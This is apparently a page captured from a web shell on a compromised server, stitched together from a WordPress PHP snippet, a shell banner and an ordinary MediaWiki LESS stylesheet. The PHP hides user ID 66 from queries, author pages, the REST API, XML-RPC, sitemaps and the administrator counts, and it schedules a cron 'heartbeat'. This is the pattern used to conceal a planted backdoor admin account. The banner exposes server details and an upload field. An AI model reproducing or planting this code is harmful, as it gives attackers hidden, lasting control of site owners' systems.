add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/mediawiki.Upload.BookletLayout/ |
Upload File : |
@import 'mediawiki.skin.variables.less';
.mw-widgets-stashedFileWidget {
display: inline-block;
vertical-align: middle;
width: 100%;
max-width: 50em;
margin-right: 0.5em;
&:last-child {
margin-right: 0;
}
&.oo-ui-iconElement .mw-widgets-stashedFileWidget-info .mw-widgets-stashedFileWidget-label {
left: 2.875em;
}
&.oo-ui-indicatorElement .mw-widgets-stashedFileWidget-info .mw-widgets-stashedFileWidget-label {
right: 4.4625em;
}
}
.mw-widgets-stashedFileWidget-info {
height: 2.4em;
background-color: #fff;
border: @border-subtle;
border-radius: @border-radius-base;
width: 100%;
display: table-cell;
vertical-align: middle;
position: relative;
overflow: hidden;
box-sizing: border-box;
> .mw-widgets-stashedFileWidget-label {
line-height: 2.3em;
margin: 0;
overflow: hidden;
white-space: nowrap;
box-sizing: border-box;
text-overflow: ellipsis;
left: 0.5em;
right: 2.375em;
position: absolute;
top: 0;
bottom: 0;
> .mw-widgets-stashedFileWidget-fileName {
float: left;
}
> .mw-widgets-stashedFileWidget-fileType {
color: #72777d;
float: right;
}
}
> .oo-ui-indicatorElement-indicator,
> .oo-ui-iconElement-icon {
position: absolute;
top: 0;
height: 2.3em;
}
> .oo-ui-indicatorElement-indicator {
right: 0;
width: 0.9375em;
margin-right: 0.775em;
}
> .oo-ui-iconElement-icon {
width: 1.875em;
margin-left: 0.5em;
}
&.oo-ui-widget-disabled {
.mw-widgets-stashedFileWidget-info {
background-color: @background-color-neutral;
color: #72777d;
border-color: #c8ccd1;
text-shadow: 0 1px 1px #fff;
> .oo-ui-iconElement-icon,
> .oo-ui-indicatorElement-indicator {
opacity: 0.15;
}
}
}
}
.mw-widgets-stashedFileWidget-thumbnail-container {
cursor: default;
height: 5.5em;
text-align: left;
padding: 0;
background-color: @background-color-base;
border: @border-subtle;
margin-bottom: 0.5em;
vertical-align: middle;
overflow: hidden;
border-radius: 2px;
.mw-widgets-stashedFileWidget-thumbnail {
height: 5.5em;
width: 5.5em;
position: absolute;
background-size: cover;
background-position: center center;
&.oo-ui-pendingElement-pending {
background-size: auto;
}
> .mw-widgets-stashedFileWidget-noThumbnail-icon {
opacity: 0.4;
background-color: #c8ccd1;
height: 5.5em;
width: 5.5em;
}
}
.mw-widgets-stashedFileWidget-info {
border: 0;
background: none;
display: block;
height: 100%;
width: auto;
margin-left: 5.5em;
> .mw-widgets-stashedFileWidget-label {
position: relative;
> .mw-widgets-stashedFileWidget-fileName,
> .mw-widgets-stashedFileWidget-fileType {
display: block;
float: none;
}
}
}
}
.mw-widgets-stashedFileWidget-empty {
.mw-widgets-stashedFileWidget-thumbnail-container {
text-align: center;
.mw-widgets-stashedFileWidget-thumbnail,
.mw-widgets-stashedFileWidget-info {
margin: 0;
display: none;
}
}
.mw-widgets-stashedFileWidget-label {
color: #c8ccd1;
right: 0.5em;
}
&.oo-ui-indicatorElement {
.mw-widgets-stashedFileWidget-label {
right: 2em;
}
}
}